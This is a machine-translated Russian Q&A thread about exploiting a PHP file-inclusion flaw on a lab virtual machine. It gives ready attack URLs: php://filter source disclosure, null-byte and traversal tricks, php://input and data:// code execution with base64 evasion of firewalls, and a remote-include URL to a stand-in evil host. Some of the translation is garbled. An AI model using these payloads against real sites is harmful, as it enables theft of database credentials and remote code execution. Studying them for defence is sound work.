PHP security exploit – список содержимого удаленного PHP-файла?

Я пытаюсь использовать некоторые уязвимости в Интернете на веб-сайте, запущенном внутри виртуальной машины (он недоступен в Интернете – только для образовательных целей). У меня есть php-файл с именем setupreset.php который содержит информацию о конфигурациях MySQL, настройках и паролях, используемых для настройки веб-сайта. Это находится в том же каталоге, что и остальные файлы php (индекс, продукты, форум и т. Д.).

Это код index.php, для справки:

 <?php include ("includes/header.php"); // Grab inputs $page = $_GET[page]; if ($page=="") { include("home.html"); } else { include ($page . '.php'); } include ("includes/footer.php"); ?> в <?php include ("includes/header.php"); // Grab inputs $page = $_GET[page]; if ($page=="") { include("home.html"); } else { include ($page . '.php'); } include ("includes/footer.php"); ?> 

Основная цель – перечислить содержимое файла setupreset PHP или загрузить его как-то. Если я перейду к этому файлу: http://10.211.55.5/index.php?page=setupreset , он будет выполнен, но код PHP, естественно, не показан, из-за того, что он разбирается с помощью интерпретатора PHP.

Теперь сайт использует PHP include s, поэтому URL-адреса выглядят следующим образом: http://10.211.55.5/index.php?page=products . Кажется, что он уязвим для удаленного включения файлов, где я могу просто указать на другую страницу PHP, например http://10.211.55.5/index.php?page=http://badwebsite.com/myevilscript.php но allow_url_include off и его нельзя изменить, так что это не сработает (я пробовал это). Однако allow_url_fopen , вероятно, allow_url_fopen (поскольку он allow_url_fopen по умолчанию), поэтому мой вопрос следующий: можно ли загрузить файл PHP или какой-либо скрипт, в котором содержится содержимое setupreset.php используя этот вид эксплойта?

Если allow_url_include выключен, вы не можете выполнить удаленный код. Но вы можете найти другие страницы, например панель управления контентом, чтобы загрузить свой код как «изображение», а затем найти фактический путь и include его.

И все еще есть способы использовать.

Давайте рассмотрим ваш код. Вы можете заметить, что он автоматически добавляет расширение .php в конце пути. Поэтому вы должны удалить php в параметре GET. Но что, если файл, который вы хотите включить, не имеет расширения PHP? Затем используйте %00 для завершения строки, например

 http://localhost/include.php?page=../uploads/your_uploaded_fake_image.jpg%00 

В PHP есть специальный протокол, мощный и опасный. Это php:// . Вы можете просмотреть официальное руководство для получения подробной информации, и здесь я покажу вам несколько случаев, чтобы сделать уязвимость включения файлов, стать источником раскрытия информации и даже удаленными уязвимостями выполнения кода.

Перед тестированием я предлагаю вам использовать Firefox с плагином HackBar . Это мощный комплект для тестирования проникновения.

  1. Раскрытие источника

Эта функция не требует включения URL-адреса.

php://filter – это своего рода мета-обертка, предназначенная для разрешения фильтров на поток во время открытия. Это полезно для функций файла «все-в-одном», таких как readfile (), file () и file_get_contents (), где нет возможности применить фильтр к потоку до считываемого содержимого. ( Ссылка )

Затем вы можете увидеть источник secret.inc.php в том же каталоге с помощью следующего запроса.

 http://localhost/include.php?page=php://filter/read=convert.base64-encode/resource=secret.inc 

демонстрация

Содержимое файла будет закодировано в base64, поэтому оно поддерживает двоичный файл.

Очень важно получать конфиденциальную информацию, такую ​​как пароли базы данных или ключ шифрования! Если привилегия не является надлежащим образом сконфигурирована, она может даже выскочить из клетки и извлечь данные из файлов в исходных каталогах, например /etc/passwd !

  1. Удаленное выполнение кода

На самом деле вы не можете использовать этот способ, потому что allow_url_include в этом случае выключен.

Но я должен указать на это, потому что это волшебство !

Он полностью отличается от локального. Не нужно загружать какой-либо файл на удаленный сервер или так. Все, что вам нужно, это один запрос.

php://input может получить доступ к необработанному телу HTTP-запроса, поэтому что include("php://input") ? Просто зайдите на http://localhost/include.php?page=php://input , с действующим кодом PHP в тело запроса, тогда вы можете выполнить любую (разрешенную) функцию на удаленном сервере!

введите описание изображения здесь

Не забывайте, что %00 .php хвост .php .

Кроме того, PHP поддерживает схему data:// URL. Вы можете прямо вставить код в GET param! Следующий тест не требует специального инструмента, обычный браузер может выполнить атаку.

 http://localhost/include.php?page=data:text/plaintext,<?php phpinfo();?> 

Некоторые брандмауэры веб-приложений могут обнаруживать подозрительную строку в URL-адресе и блокировать запрос злоумышленника, они не оставят только phpinfo . Есть ли способ зашифровать? Конечно. data:// URL поддерживает хотя бы кодировку base64 …

 http://localhost/include.php?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg== 

И вы снова познакомитесь с phpinfo!

с кодировкой base64

Заметка

Нулевой байт-трюк ( %00 ) больше не работает для PHP> = 5.3.4: http://blog.benjaminwalters.net/?p=22139

Используйте обход каталога и завершите введенную строку метасимволом %00 NUL (как указано в википедии ).

 http://example.com/index.php?page=setuppreset%00 

Это удалит суффикс «.php» из включения и может каким-то образом помочь вам.

Это не. Файл php readfile , потому что вы вызываете include , если вы readfile , file_get_contents или аналогичный, вы можете увидеть содержимое php-файла.